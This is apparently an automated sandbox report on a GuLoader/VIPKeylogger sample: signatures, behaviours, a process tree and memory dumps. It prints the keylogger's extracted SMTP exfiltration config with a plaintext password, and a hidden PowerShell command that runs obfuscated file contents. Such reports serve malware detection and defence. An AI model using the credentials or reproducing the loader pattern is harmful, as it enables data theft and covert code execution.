Analysis
- max time kernel
148s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
10/10/2024, 01:57
General
- Target 986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe
- Size 827KB
- Sample241010-cdeehszdqr
- SHA256 986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
-
Email to
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe"C:\Users\Admin\AppData\Local\Temp\986a7af99dae4669a8d396f33ec71a3dce83f49902481d65489078d32c8aedee.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Seventeens=Get-Content 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\incapacitation.Unh';$Seminative=$Seventeens.SubString(38390,3);.$Seminative($Seventeens)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_d0kolgjl.kec.ps1
Biologics.Afv
incapacitation.Unh
memory/1880-67-0x00000000260F0000-0x000000002618C000-memory.dmp
memory/1880-70-0x0000000026580000-0x00000000265D0000-memory.dmp
memory/1880-69-0x0000000026D80000-0x0000000026F42000-memory.dmp
memory/1880-71-0x0000000027480000-0x00000000279AC000-memory.dmp
memory/1880-75-0x0000000026CB0000-0x0000000026D42000-memory.dmp
memory/1880-66-0x00000000010F0000-0x000000000113A000-memory.dmp
memory/1880-64-0x00000000010F0000-0x0000000002344000-memory.dmp
memory/1880-51-0x0000000077C31000-0x0000000077D51000-memory.dmp
memory/1880-50-0x0000000077CB8000-0x0000000077CB9000-memory.dmp
memory/1880-49-0x0000000077C31000-0x0000000077D51000-memory.dmp
memory/1880-48-0x0000000002350000-0x00000000081A9000-memory.dmp
memory/1880-76-0x0000000023C50000-0x0000000023C5A000-memory.dmp
memory/1924-27-0x0000000005B80000-0x0000000005BCC000-memory.dmp
memory/1924-47-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-35-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-36-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-37-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-38-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-31-0x0000000007300000-0x00000000078A4000-memory.dmp
memory/1924-40-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-42-0x00000000741EE000-0x00000000741EF000-memory.dmp
memory/1924-41-0x00000000085B0000-0x000000000E409000-memory.dmp
memory/1924-43-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-44-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-45-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-33-0x0000000007F30000-0x00000000085AA000-memory.dmp
memory/1924-30-0x0000000006050000-0x0000000006072000-memory.dmp
memory/1924-29-0x0000000006000000-0x000000000601A000-memory.dmp
memory/1924-28-0x0000000006CB0000-0x0000000006D46000-memory.dmp
memory/1924-9-0x00000000741EE000-0x00000000741EF000-memory.dmp
memory/1924-65-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-26-0x0000000005AF0000-0x0000000005B0E000-memory.dmp
memory/1924-25-0x0000000005470000-0x00000000057C4000-memory.dmp
memory/1924-14-0x0000000005390000-0x00000000053F6000-memory.dmp
memory/1924-15-0x0000000005400000-0x0000000005466000-memory.dmp
memory/1924-13-0x0000000004B90000-0x0000000004BB2000-memory.dmp
memory/1924-12-0x0000000004CB0000-0x00000000052D8000-memory.dmp
memory/1924-11-0x00000000741E0000-0x0000000074990000-memory.dmp
memory/1924-10-0x00000000024A0000-0x00000000024D6000-memory.dmp